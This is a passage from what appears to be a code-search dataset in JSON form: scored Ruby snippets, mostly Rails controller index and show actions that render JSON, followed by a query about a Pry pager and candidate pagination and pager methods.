"score": "0.62079936",
"text": "def index\n @legs = Leg.all\n\n render json: @legs\n end",
"title": ""
},
{
"docid": "e57bc9cc27be64d038a6a22a327c0a2c",
"score": "0.6204481",
"text": "def index\n @rooms = @hotel.rooms\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rooms }\n end\n end",
"title": ""
},
{
"docid": "663fa3b644c41a2fadaa1a2dd1858259",
"score": "0.6201707",
"text": "def index\n @letters = Letter.all.order('created_at DESC').paginate(:page => params[:page], :per_page => 15)\n\n respond_to do |format|\n format.json { render json: @letters.to_json }\n format.html\n end\n end",
"title": ""
},
{
"docid": "a68fcd9e506f6ef14dcdd3b35a63f87c",
"score": "0.6198879",
"text": "def index\n @elections = Election.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @elections }\n end\n end",
"title": ""
},
{
"docid": "4f7d4e34f8c8fa40cce5b287c6e2209b",
"score": "0.6189577",
"text": "def show\n @endereco_oferta_voluntariado = EnderecoOfertaVoluntariado.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @endereco_oferta_voluntariado }\n end\n end",
"title": ""
},
{
"docid": "64d8b5e65e4d26259deed32a193f7134",
"score": "0.6174884",
"text": "def show\n render json: @artikel\n end",
"title": ""
},
{
"docid": "ac46e1b2da69d61f5e477f03cd68adcc",
"score": "0.6171904",
"text": "def index\n @arbeitspakets = Arbeitspaket.all\n end",
"title": ""
},
{
"docid": "34a6ccbdbd80f2155883808348a5934f",
"score": "0.617059",
"text": "def index\n @gst_levels = GstLevel.where(hotel_src_id: current_user.hotel_src_id).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gst_levels }\n end\n end",
"title": ""
},
{
"docid": "99abed4c85556f0095eaafaa48e70a77",
"score": "0.61697894",
"text": "def index\n @guestbookentries = Guestbookentry.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @guestbookentries }\n end\n end",
"title": ""
},
{
"docid": "1d2347c15e5460fcb0b78bf79bcac2fc",
"score": "0.616069",
"text": "def index\n @challengers = Challenger.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @challengers }\n end\n end",
"title": ""
},
{
"docid": "083f5cf199e2f2842d7ab5f61e9977e5",
"score": "0.6159939",
"text": "def index\n @departs = Depart.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @departs }\n end\n end",
"title": ""
},
{
"docid": "f0c29e71c31905155636b619dcb1ee64",
"score": "0.61473036",
"text": "def show\n\t\t@offers = @offer\n\t\t@json = @offers.to_gmaps4rails\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @json }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "6f9c08e7f8bae206f89112f227c7d503",
"score": "0.6142592",
"text": "def index\n @title = \"All Edges\"\n @edges = Edge.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @edges }\n end\n end",
"title": ""
},
{
"docid": "c701facc9c321e4c0add7fc2608f7efc",
"score": "0.61411035",
"text": "def index\n @reservas = Reserva.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reservas }\n end\n end",
"title": ""
},
{
"docid": "f5c923dab4affd41cf4331347db049b2",
"score": "0.6137401",
"text": "def index\n @tenures = Tenure.all\n render json: @tenures\n end",
"title": ""
},
{
"docid": "83ae7288d6f0a0caf98a327677c3129a",
"score": "0.6135247",
"text": "def show\n render json: @letter\n end",
"title": ""
},
{
"docid": "66effbd0ad30dd1cfcf47d7a60979811",
"score": "0.61311865",
"text": "def index\n @entrevistas = Entrevista.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entrevistas }\n end\n end",
"title": ""
},
{
"docid": "dd746753f10d66661fa02cc8c857e265",
"score": "0.6128819",
"text": "def index\n @guests = Guest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @guests }\n end\n end",
"title": ""
},
{
"docid": "8fd37db7557250946aeb568e22cb6120",
"score": "0.61220807",
"text": "def show\n @rezept = Rezept.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rezept }\n end\n end",
"title": ""
},
{
"docid": "8dccf884facd7bc76e5047c2451765a0",
"score": "0.61080027",
"text": "def index\n respond_to do |format|\n format.html {}\n format.json {\n render json: @ladders, root: false\n }\n end\n end",
"title": ""
},
{
"docid": "1e77491152639d3885e619750e892cc9",
"score": "0.61067486",
"text": "def index\n @employers = Employer.all\n\n render json: @employers\n end",
"title": ""
},
{
"docid": "b940a38e772208f7eab246c60cdf6a91",
"score": "0.6103266",
"text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @riders }\n end\n end",
"title": ""
},
{
"docid": "da8a87bad843d98c79738c90e88b550f",
"score": "0.61028576",
"text": "def index\n @beers = Beer.all.order(:name)\n render json: @beers\n end",
"title": ""
},
{
"docid": "826eff8723d0a75b499d9104e421eb77",
"score": "0.6100922",
"text": "def show\n @rezerwacja = Rezerwacja.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rezerwacja }\n end\n end",
"title": ""
},
{
"docid": "b431c7aa3716367a3ad1fb07c4aed187",
"score": "0.6098022",
"text": "def index\n @frais_deplacements = FraisDeplacement.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @frais_deplacements }\n end\n end",
"title": ""
},
{
"docid": "9739dde3126107c8569fd28868a471a6",
"score": "0.60943574",
"text": "def show\n render json: @kedito\n end",
"title": ""
},
{
"docid": "5e8b82b46a3adf512d583e0aa36fde54",
"score": "0.6089899",
"text": "def index\n @deed_votes = DeedVote.all\n\n render json: @deed_votes\n end",
"title": ""
},
{
"docid": "16ececcc580e48688343b139753e3ab1",
"score": "0.6089648",
"text": "def index\n @reservacions = Reservacion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reservacions }\n end\n end",
"title": ""
},
{
"docid": "221935f8a40bb0f58fa99427cb087ec7",
"score": "0.6085904",
"text": "def index\n @retetars = Retetar.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @retetars }\n end\n end",
"title": ""
},
{
"docid": "53e0a9b529f4a182b65ff381ae0764f5",
"score": "0.6083976",
"text": "def index\n @guestbook_entries = GuestbookEntry.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @guestbook_entries }\n end\n end",
"title": ""
},
{
"docid": "1e00651d75d6a36f2472a879b9ed0175",
"score": "0.6081392",
"text": "def index\n @offerings = Offering.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offerings }\n end\n end",
"title": ""
},
{
"docid": "fdca701ac274d99f55ddc045ba53daf7",
"score": "0.608021",
"text": "def preview\n #logger.info(\"Parameters:\" + params.to_s)\t\n render json: Avenger.all, only: [:id, :super_hero_name, :real_name, :status]\n end",
"title": ""
},
{
"docid": "bb518d422e16d000ef051c45557bb5b0",
"score": "0.60735327",
"text": "def index\n @tees = Tee.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tees }\n end\n end",
"title": ""
},
{
"docid": "1783d01a987fdd07268aaa1f48f23761",
"score": "0.60713255",
"text": "def show\n @agente = Agente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agente }\n end\n end",
"title": ""
},
{
"docid": "9e5b1ec550215aec52d4d7552f3fdd87",
"score": "0.6070662",
"text": "def show\n @ragefest = Ragefest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ragefest }\n end\n end",
"title": ""
},
{
"docid": "4da92827112628fe8c401e8303dc6f67",
"score": "0.60692126",
"text": "def index\n render json: Beer.all\n end",
"title": ""
},
{
"docid": "70513c1896aa7da94eb8b8d44c2c8dc1",
"score": "0.60679346",
"text": "def index\n @pacient = Pacient.find(params[:pacient_id])\n @reteta = Retetum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reteta }\n end\n end",
"title": ""
},
{
"docid": "18a396c2c40f2f3405d1320b968b1596",
"score": "0.6067608",
"text": "def index\n @partidos = Partido.all\n render json: @partidos, status: :ok\n end",
"title": ""
},
{
"docid": "645da3e9c82b274ba57e6b1e5683bf20",
"score": "0.60661995",
"text": "def show\n @gerencia = Gerencia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gerencia }\n end\n end",
"title": ""
},
{
"docid": "f6aa7f84094c0e01358f27e1463c850b",
"score": "0.60654193",
"text": "def index\n @reservations = Reservation.recent.asc(\"jour\").paginate(page: params[:page], per_page: 30)\n @rameur = Rameur.find(params[:rameur_id]) if params[:rameur_id].present?\n\n respond_to do |format|\n format.html { @reservations }\n format.json {\n render json: {\n current_page: @reservations.current_page,\n per_page: @reservations.per_page,\n total_entries: @reservations.total_entries,\n entries: @reservations\n }\n }\n end\n end",
"title": ""
},
{
"docid": "62b74f09d9d277241657555f67ebc372",
"score": "0.60652304",
"text": "def show\n @gerenciador = Gerenciador.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gerenciador }\n end\n end",
"title": ""
},
{
"docid": "2edc7867bdfeb1f39d766edd7356658f",
"score": "0.60621095",
"text": "def index\n @clientes = Cliente.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clientes }\n end\n end",
"title": ""
},
{
"docid": "7c9a8f79d3ff0be61ccea87f52cc9c41",
"score": "0.6054747",
"text": "def show\n @deporte = Deporte.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @deporte }\n end\n end",
"title": ""
},
{
"docid": "bf07281b71eab140832bb71e0d7ef92b",
"score": "0.6053535",
"text": "def show\n @vigencia_ofertum = VigenciaOferta.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vigencia_ofertum }\n end\n end",
"title": ""
},
{
"docid": "d019bd1853a72c3c85667866bcbaf988",
"score": "0.60529387",
"text": "def index\n @offers = Offer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offers }\n end\n end",
"title": ""
},
{
"docid": "b26887f8b952ca6bf6ce5a7d46d22dcf",
"score": "0.6052838",
"text": "def index\n @pengirimen = Pengiriman.all\n render json: { items: @pengirimen }\n end",
"title": ""
},
{
"docid": "6b2c036b0c6f0b4558b42fdbd3c03e1d",
"score": "0.6050609",
"text": "def index\n @renters = Renter.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @renters }\n end\n end",
"title": ""
},
{
"docid": "f03290c5decbe3ce929284140845d386",
"score": "0.6045083",
"text": "def show \n @bachelorettes = Bachelorette.find(params[:id]) \n render json: @bachelorettes\n end",
"title": ""
},
{
"docid": "71a200ecb1f7ba86ca9885584e24193a",
"score": "0.60438275",
"text": "def kants\n @id = current_user.verbindung_id\n\n respond_to do |format|\n format.html { redirect_to verbindung_kants_path(@id) }\n format.json { redirect_to verbindung_kants_path(@id, format: :json) }\n end\n end",
"title": ""
},
{
"docid": "17fbede9c5c680d65c6f507b9ebec5c9",
"score": "0.60433465",
"text": "def show\n @gethotelstaticdatum = Gethotelstaticdatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gethotelstaticdatum }\n end\n end",
"title": ""
},
{
"docid": "981114ce254f3356972f0c887ff5fce3",
"score": "0.6038598",
"text": "def index\n @nvs_depts = NvsDept.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @nvs_depts }\n end\n end",
"title": ""
},
{
"docid": "1e9cc6acc3804862a9eafb55f031720e",
"score": "0.60372704",
"text": "def index\n render json: Groupe.all\n end",
"title": ""
},
{
"docid": "4e78dc3a17211514969682c82575cf39",
"score": "0.60341704",
"text": "def show\n @beer = Beer.find(params[:id])\n render json: @beer\n end",
"title": ""
},
{
"docid": "9f8968078e1adf385c2ec53695541ac7",
"score": "0.6028648",
"text": "def index\n @low_chamber_agendas = LowChamberAgenda.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @low_chamber_agendas }\n end\n end",
"title": ""
},
{
"docid": "5092d9f6e8d6b5a168775fbb643ba83a",
"score": "0.602447",
"text": "def show\n render json: @establecimiento\n end",
"title": ""
},
{
"docid": "7760d14b9f75a0a93f9a8c0cfaf740f1",
"score": "0.60238576",
"text": "def index\n @redeems = Redeem.where(user_id: @current_user.id).all\n render json: @redeems\n end",
"title": ""
},
{
"docid": "01ab9a38a6e3bd175ab1093228b0ac48",
"score": "0.6021832",
"text": "def show\n @titulo = \"Vista Previa del Examen\"\n @examen = Examen.find(params[:id])\n @host = \"#{request.protocol}#{request.host_with_port}\"+HOST\n @parte_examenes = @examen.parte_examenes.joins(:parte).order('parte.orden ASC')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @examen }\n end\n end",
"title": ""
},
{
"docid": "0a7401b0079f197a212e9266f967333a",
"score": "0.60203606",
"text": "def index\n @notadedebito = Notadedebito.find(params[:notadedebito_id])\n @renglon_ndddetalles = @notadedebito.renglon_ndddetalles\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @renglon_ndddetalles }\n end\n end",
"title": ""
},
{
"docid": "f9be76b3e9c4360552269b624f13e227",
"score": "0.6016873",
"text": "def show\n @angel = Angel.where(\"key = ?\", params[:key]).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @angel }\n end\n end",
"title": ""
},
{
"docid": "2109c96d50ec1c79fd31879f799566fb",
"score": "0.6014894",
"text": "def show\n @rekord = Rekord.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rekord }\n end\n end",
"title": ""
},
{
"docid": "a5cb37ca9ced1cdda4493c664ea8d7b9",
"score": "0.6014877",
"text": "def index\n @enqs = Enq.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @enqs }\n end\n end",
"title": ""
},
{
"docid": "8a2cc7e05ac1d0694520dd5043a879da",
"score": "0.6013729",
"text": "def index\n @nerds = Nerd.all\n render json: @nerds\n end",
"title": ""
},
{
"docid": "f3482a8a421143a4ad218b1a52aa2b6b",
"score": "0.6012989",
"text": "def index\n @elevators = Elevator.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @elevators }\n end\n end",
"title": ""
},
{
"docid": "b00e1e34c5a71a383d587427092f041e",
"score": "0.60128",
"text": "def show\n @enonce = Enonce.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @enonce }\n end\n end",
"title": ""
},
{
"docid": "1856e22111296b3c495d2a09c80dc226",
"score": "0.60121906",
"text": "def show\n @gotel = Gotel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gotel }\n end\n end",
"title": ""
},
{
"docid": "2da52164c899254c06d7cf6a015a2ecf",
"score": "0.6008307",
"text": "def index\n @gst_types = GstType.where(hotel_src_id: current_user.hotel_src_id).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gst_types }\n end\n end",
"title": ""
},
{
"docid": "e451bf6fba576778cb378975d1a63a69",
"score": "0.60071665",
"text": "def show\n @orden = Orden.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @orden }\n end\n end",
"title": ""
}
] |
f2a412a9450c168bd557e60e6474233c | TODO detect if the old pager behavior of Pry is supported and use it through Pry.pager. If it's not then use the SimplePager. | [
{
"docid": "ca589764cc7d40ed3b2e34a6c00504f7",
"score": "0.77921456",
"text": "def pager\n @pager ||= Pry::Pager::SimplePager.new($stdout)\n end",
"title": ""
}
] | [
{
"docid": "52d5a3dfe1b6fb715e865a1acfa8da34",
"score": "0.81550497",
"text": "def pager; end",
"title": ""
},
{
"docid": "52d5a3dfe1b6fb715e865a1acfa8da34",
"score": "0.81550497",
"text": "def pager; end",
"title": ""
},
{
"docid": "52d5a3dfe1b6fb715e865a1acfa8da34",
"score": "0.81550497",
"text": "def pager; end",
"title": ""
},
{
"docid": "9a3b8752854ea39e6171298c4b0d2157",
"score": "0.76791644",
"text": "def pager\n pager_class = ENV['PRYEMNOPAGER'] ? Pry::Pager::NullPager : @opts[:pager] || Pry::Pager::SimplePager\n @pager ||= pager_class.new(Pry::Output.new(Pry))\n end",
"title": ""
},
{
"docid": "bcca091e61852b25156a14904bc5c60a",
"score": "0.7344808",
"text": "def next; @pager.page(@page+1); end",
"title": ""
},
{
"docid": "a1cfd51a34f19551ead941da5160dbfd",
"score": "0.73246115",
"text": "def pager=(_arg0); end",
"title": ""
},
{
"docid": "ae61c0dc1331742a2985af34874d1c98",
"score": "0.71439505",
"text": "def pager\n CmdConsole::Pager.new(self)\n end",
"title": ""
},
{
"docid": "8f15e3168782c6182524c3ad8435dafb",
"score": "0.69825435",
"text": "def begin; @pager.offset @page; end",
"title": ""
},
{
"docid": "cf6f0692ab509a47274051798b89399d",
"score": "0.6820223",
"text": "def select_pager(enabled: true, command: nil)\n commands = Array(command)\n\n if !enabled\n NullPager\n elsif SystemPager.exec_available?(*commands)\n SystemPager\n else\n BasicPager\n end\n end",
"title": ""
},
{
"docid": "c9cffc518c6008ddbe0ea32b66e2747b",
"score": "0.6791134",
"text": "def initialize pager, page; @pager, @page = pager, page; end",
"title": ""
},
{
"docid": "e1121c80764a6aed30ef67cda4cb8a2a",
"score": "0.6748556",
"text": "def no_pager pry=(defined?(_pry_) && _pry_) || Pry, &block\n boolean = pry.config.pager\n pry.config.pager = false\n yield\n ensure\n pry.config.pager = boolean\n end",
"title": ""
},
{
"docid": "06bc3b09bc26ecc2576121ae2b86a36c",
"score": "0.66822666",
"text": "def next\n @pager.page(@number + 1) if next?\n end",
"title": ""
},
{
"docid": "06bc3b09bc26ecc2576121ae2b86a36c",
"score": "0.66822666",
"text": "def next\n @pager.page(@number + 1) if next?\n end",
"title": ""
},
{
"docid": "841ac55df9d40628a0636718d2b91217",
"score": "0.6470174",
"text": "def page(&block)\n out = StringIO.new\n yield out\n ctx._pry_.pager.page out.string\n end",
"title": ""
},
{
"docid": "91c5fdc985a3982637899f45b5182c44",
"score": "0.6438638",
"text": "def make_pager(count, per_page = 10, page_key = :page)\n\t\tPaginator.new(self,count, per_page, params[page_key])\n\tend",
"title": ""
},
{
"docid": "b4d3c034a06631961e70d729931a06fe",
"score": "0.6429375",
"text": "def next\n @pager.page(@number + 1) if next?\n end",
"title": ""
},
{
"docid": "52089a086686e4b757abe18265ed782f",
"score": "0.63895017",
"text": "def simple_pager(text)\n text_array = text.lines.to_a\n text_array.each_slice(page_size) do |chunk|\n output.puts chunk.join\n break if chunk.size < page_size\n if text_array.size > page_size\n output.puts \"\\n<page break> --- Press enter to continue ( q<enter> to break ) --- <page break>\"\n break if $stdin.gets.chomp == \"q\"\n end\n end\n end",
"title": ""
},
{
"docid": "801f5389773644a0f68ec442faf45249",
"score": "0.63893634",
"text": "def setup_pager\n unless @use_stdout then\n for pager in [ ENV['PAGER'], \"less\", \"more\", 'pager' ].compact.uniq\n return IO.popen(pager, \"w\") rescue nil\n end\n @use_stdout = true\n nil\n end\n end",
"title": ""
},
{
"docid": "f4a0a4184a75b2ccdc638ec15ddf7d2d",
"score": "0.6359666",
"text": "def simple_pager(text, output=output())\n text_array = text.lines.to_a\n text_array.each_slice(page_size) do |chunk|\n output.puts chunk.join\n break if chunk.size < page_size\n if text_array.size > page_size\n output.puts \"\\n<page break> --- Press enter to continue ( q<enter> to break ) --- <page break>\"\n break if $stdin.gets.chomp == \"q\"\n end\n end\n end",
"title": ""
},
{
"docid": "f3058e3499e276cdf73bda67fe804f12",
"score": "0.63462156",
"text": "def prev; @pager.page(@page-1); end",
"title": ""
},
{
"docid": "545cb7e30951f00b597999fb2bb8112a",
"score": "0.63449496",
"text": "def build_pagination(pager, options = {})\n\n options[:link_to_current_page] ||= true\n options[:always_show_anchors] ||= true\n\n # Calculate the window start and end pages\n options[:padding] ||= 2\n options[:padding] = options[:padding] < 0 ? 0 : options[:padding]\n\n page = params[:page].blank? ? 1 : params[:page].to_i\n current_page = pager.page(page)\n\n first = pager.first.number <= (current_page.number - options[:padding]) && pager.last.number >= (current_page.number - options[:padding]) ? current_page.number - options[:padding] : 1\n last = pager.first.number <= (current_page.number + options[:padding]) && pager.last.number >= (current_page.number + options[:padding]) ? current_page.number + options[:padding] : pager.last.number\n\n returning(String.new) do |html|\n # Print start page if anchors are enabled\n html << yield(1) if options[:always_show_anchors] and not first == 1\n # Print window pages\n first.upto(last) do |page|\n (current_page.number == page && !options[:link_to_current_page]) ? html << page.to_s : html << (yield(page)).to_s\n end\n # Print end page if anchors are enabled\n html << yield(pager.last.number).to_s if options[:always_show_anchors] and not last == pager.last.number\n end\n\n end",
"title": ""
},
{
"docid": "a91050f2f8844212b414295d595c834b",
"score": "0.6332158",
"text": "def page(text)\n @pager.page(text)\n end",
"title": ""
},
{
"docid": "7dffa32754b5260679078d21f63ecf49",
"score": "0.63204825",
"text": "def page(num)\n adapter.page(self, num)\n end",
"title": ""
},
{
"docid": "310be4187ead074189da44343ec7ef4c",
"score": "0.6312347",
"text": "def which_pager\n if Howzit.options[:pager] =~ /auto/i\n pagers = [ENV['PAGER'], ENV['GIT_PAGER'],\n 'bat', 'less', 'more', 'pager']\n pagers.delete_if(&:nil?).select!(&:available?)\n return nil if pagers.empty?\n\n pg = pagers.first\n args = case pg\n when 'delta'\n '--pager=\"less -FXr\"'\n when 'less'\n '-FXr'\n when 'bat'\n if Howzit.options[:highlight]\n '--language Markdown --style plain --pager=\"less -FXr\"'\n else\n '--style plain --pager=\"less -FXr\"'\n end\n else\n ''\n end\n\n [pg, args].join(' ')\n else\n pg = Howzit.options[:pager].split(/ /)[0]\n if pg.available?\n Howzit.options[:pager]\n else\n Howzit.console.error Color.template(\"{Rw}Error:{xbw} Specified pager (#{Howzit.options[:pager]}) not found, switching to auto\")\n Howzit.options[:pager] = 'auto'\n which_pager\n end\n end\n end",
"title": ""
},
{
"docid": "d920a1fb70ae42875db25a75504b1e40",
"score": "0.63114643",
"text": "def add_pager(pager)\n @pager = pager\n if @pager.page != 1\n # Fix URL and file name if necessary.\n @url = @baseurl + \"page/#{pager.page}/\"\n @name = \"#{@url}index.html\"\n end\n end",
"title": ""
},
{
"docid": "427a457d70eda6a703ef3306c6b0e38c",
"score": "0.6297401",
"text": "def call\n if paginable?\n pager.page(render)\n else\n output.puts(render)\n end\n end",
"title": ""
},
{
"docid": "6947fef4b0a699bc0732d1489b8adf7d",
"score": "0.62565947",
"text": "def grid_wire_pager\n if controller.parent.grid_options.has_key?(:pager)\n return <<-JS\n \tpginput: true,\n \tpgbuttons: true,\n \trowList:#{controller.parent.grid_options[:pager][:rows_options].to_json || '[]'},\n \trowNum:#{controller.parent.grid_options[:pager][:rows] || 20},\n JS\n else\n return <<-JS\n \tpginput: false,\n \tpgbuttons: false,\n \trowList: [],\n \trowNum: -1,\n JS\n end\n end",
"title": ""
},
{
"docid": "4d1e78d89a260065a4f2da41bb5add00",
"score": "0.62391263",
"text": "def page_count ; @pager.page_count ; end",
"title": ""
},
{
"docid": "69b8e9a60e30c4327a276b24a47c5bb1",
"score": "0.61143965",
"text": "def pager_command(*commands)\n @pager_command = if @pager_command && commands.empty?\n @pager_command\n else\n self.class.find_executable(*commands)\n end\n end",
"title": ""
},
{
"docid": "003040ae191245de064eea4db26bb349",
"score": "0.6105122",
"text": "def records\n if paginator_mode == :sequential_before\n super.first(records_per_page)\n elsif paginator_mode == :sequential_after\n super.first(records_per_page).reverse\n elsif paginator_mode == :numbered\n super\n end\n end",
"title": ""
},
{
"docid": "ddae5211f17c02387b0182a6c117ebd0",
"score": "0.6080705",
"text": "def records\n case paginator_mode\n when :sequential_before\n super.first(records_per_page)\n when :sequential_after\n super.first(records_per_page).reverse\n when :numbered\n super\n end\n end",
"title": ""
},
{
"docid": "01006f33af369f96dc5b8a60049b384f",
"score": "0.60801905",
"text": "def setup_pager\n if @paginate && @output.isatty && @html.nil?\n env = {}\n @pager = ENV[\"SNAPPER_PAGER\"] if @pager.nil?\n @pager = ENV[\"PAGER\"] if @pager.nil?\n @pager = \"less\" if @pager.nil?\n\n # Set less options unless LESS already set in environment\n if @pager == \"less\"\n # -F or --quit-if-one-screen\n # -R or --RAW-CONTROL-CHARS\n # -S or --chop-long-lines\n # -X or --no-init\n env[\"LESS\"] = \"FRSX\" unless ENV[\"LESS\"]\n end\n @output = IO.popen(env, [ \"sh\", \"-c\", @pager ], \"w\")\n @colorize = !(@colorize == :never)\n else\n @colorize = (@colorize == :always)\n end\n true\n end",
"title": ""
},
{
"docid": "64ec3701c2fbe9312315363dd3a8ce6d",
"score": "0.60431105",
"text": "def run_pager(*args, launch: :tty, default_less_env: \"-FRX\")\n\t\t\treturn unless $stdout.tty? and launch != :never\n\t\t\tread, write = IO.pipe\n\n\t\t\tunless Kernel.fork # Child process\n\t\t\t\t$stdout.reopen(write)\n\t\t\t\t$stderr.reopen(write) if $stderr.tty?\n\t\t\t\tread.close\n\t\t\t\twrite.close\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\t# Parent process, become pager\n\t\t\t$stdin.reopen(read)\n\t\t\tread.close\n\t\t\twrite.close\n\n\t\t\t#ENV['LESS'] = 'FSRX' # Don't page if the input is short enough\n\t\t\tless_env=ENV['LESS']\n\t\t\tless_env=default_less_env if less_env.empty?\n\t\t\tless_env+=\"F\" unless less_env.match(/F/) or launch == :always\n\t\t\tless_env+=\"R\" unless less_env.match(/R/)\n\t\t\tless_env+=\"X\" unless less_env.match(/X/)\n\t\t\tENV['LESS']=less_env\n\n\t\t\tKernel.select [$stdin] # Wait until we have input before we start the pager\n\t\t\tpager = ENV['PAGER'] || 'less'\n\t\t\trun=args.unshift(pager)\n\t\t\texec(*run) rescue exec \"/bin/sh\", \"-c\", *run\n\t\tend",
"title": ""
},
{
"docid": "678c64fe0d7d35c0351abe5c5b7ff84b",
"score": "0.6023511",
"text": "def pages_for(result,options = {})\n page, per_page, total = (options[:page] || 1),(options[:per_page] || 30),(result.total_hits || 0)\n page_total = page * per_page\n index = (page.to_i - 1) * per_page\n returning WillPaginate::Collection.new(page, per_page, total) do |pager|\n pager.replace result[index,per_page]\n end\n end",
"title": ""
},
{
"docid": "b286fea35c29df6184bbd43e3e96b708",
"score": "0.6019253",
"text": "def pagination\n config = @ruhoh.db.config(\"paginator\")\n if config[\"enable\"] == false\n Ruhoh::Friend.say { yellow \"Paginator: disabled - skipping.\" }\n return\n end\n\n post_count = @ruhoh.resources.load_collection_view(\"posts\").all.length\n total_pages = (post_count.to_f/config[\"per_page\"]).ceil\n \n Ruhoh::Friend.say { cyan \"Paginator: (#{total_pages} pages)\" }\n \n FileUtils.cd(@ruhoh.paths.compiled) {\n total_pages.times.map { |i| \n # if a root page is defined we assume it's getting compiled elsewhere.\n next if (i.zero? && config[\"root_page\"])\n\n url = \"#{config[\"namespace\"]}/#{i+1}\"\n view = @ruhoh.master_view({\"resource\" => \"posts\"})\n view.page_data = {\n \"layout\" => @ruhoh.db.config(\"paginator\")[\"layout\"],\n \"current_page\" => (i+1),\n \"url\" => @ruhoh.to_url(url)\n }\n FileUtils.mkdir_p File.dirname(view.compiled_path)\n File.open(view.compiled_path, 'w:UTF-8') { |p| p.puts view.render_full }\n Ruhoh::Friend.say { green \" > #{view.page_data['url']}\" }\n }\n }\n end",
"title": ""
},
{
"docid": "9bc4b5b367dd8b1f39b9ec0e33104b8c",
"score": "0.60148174",
"text": "def page(value = nil); end",
"title": ""
},
{
"docid": "6f03dae25bb545df44da87531debfc0c",
"score": "0.600646",
"text": "def page\n if pager = setup_pager then\n begin\n orig_output = @formatter.output\n @formatter.output = pager\n yield\n ensure\n @formatter.output = orig_output\n pager.close\n end\n else\n yield\n end\n rescue Errno::EPIPE\n end",
"title": ""
},
{
"docid": "319be2479ce763c84cff619281575e7c",
"score": "0.600005",
"text": "def enable_paging\n return unless $stdout.tty?\n read, write = IO.pipe\n\n if Kernel.fork\n $stdin.reopen read\n read.close; write.close\n Kernel.select [$stdin]\n ENV['LESS'] = 'FSRX'\n pager = ENV['PAGER'] || 'less'\n exec pager rescue exec '/bin/sh', '-c', pager\n else\n $stdout.reopen write\n $stderr.reopen write if $stderr.tty?\n read.close; write.close\n return\n end\n end",
"title": ""
},
{
"docid": "9796de0e9cc72745fb9636d3ec6cca95",
"score": "0.5999551",
"text": "def next_page; page(\"next\"); end",
"title": ""
},
{
"docid": "a67f6f9927474888d580e76bfd358519",
"score": "0.5992675",
"text": "def prev\n @pager.page(@number - 1) if prev?\n end",
"title": ""
},
{
"docid": "a67f6f9927474888d580e76bfd358519",
"score": "0.5992675",
"text": "def prev\n @pager.page(@number - 1) if prev?\n end",
"title": ""
},
{
"docid": "06c690b0c7ea5f788a678dbf04c2c9f4",
"score": "0.5946761",
"text": "def page(feed, num)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "35421cc37f028aaf2d8c6a52651cc1ba",
"score": "0.5945885",
"text": "def index\n @page = 0\n if params.has_key?(:p)\n @page = params[:p]\n end\n @prevpage = @page.to_i-1\n @nextpage = @page.to_i+1\n offset = @page*2\n @thenews = Item.where(type: \"Post\").order(\"id DESC\").limit(10).offset(offset)\n\n if @thenews.count < 10\n @nextpage = nil\n end\n if @prevpage < 0\n @prevpage = nil\n end\n end",
"title": ""
},
{
"docid": "8a35c0043d644024fd100c9a277963c4",
"score": "0.59366125",
"text": "def welcome_one_pager\n BookingMailer.welcome_one_pager(Booking.where(state: ['booked']).take)\n end",
"title": ""
},
{
"docid": "3df2731a0dae8ef56cee27924076e8e8",
"score": "0.5930422",
"text": "def page(num)\n super.extending(RelationMethods)\n end",
"title": ""
},
{
"docid": "0ad1c0518a6a43b79d90e88e83cc00d0",
"score": "0.5926883",
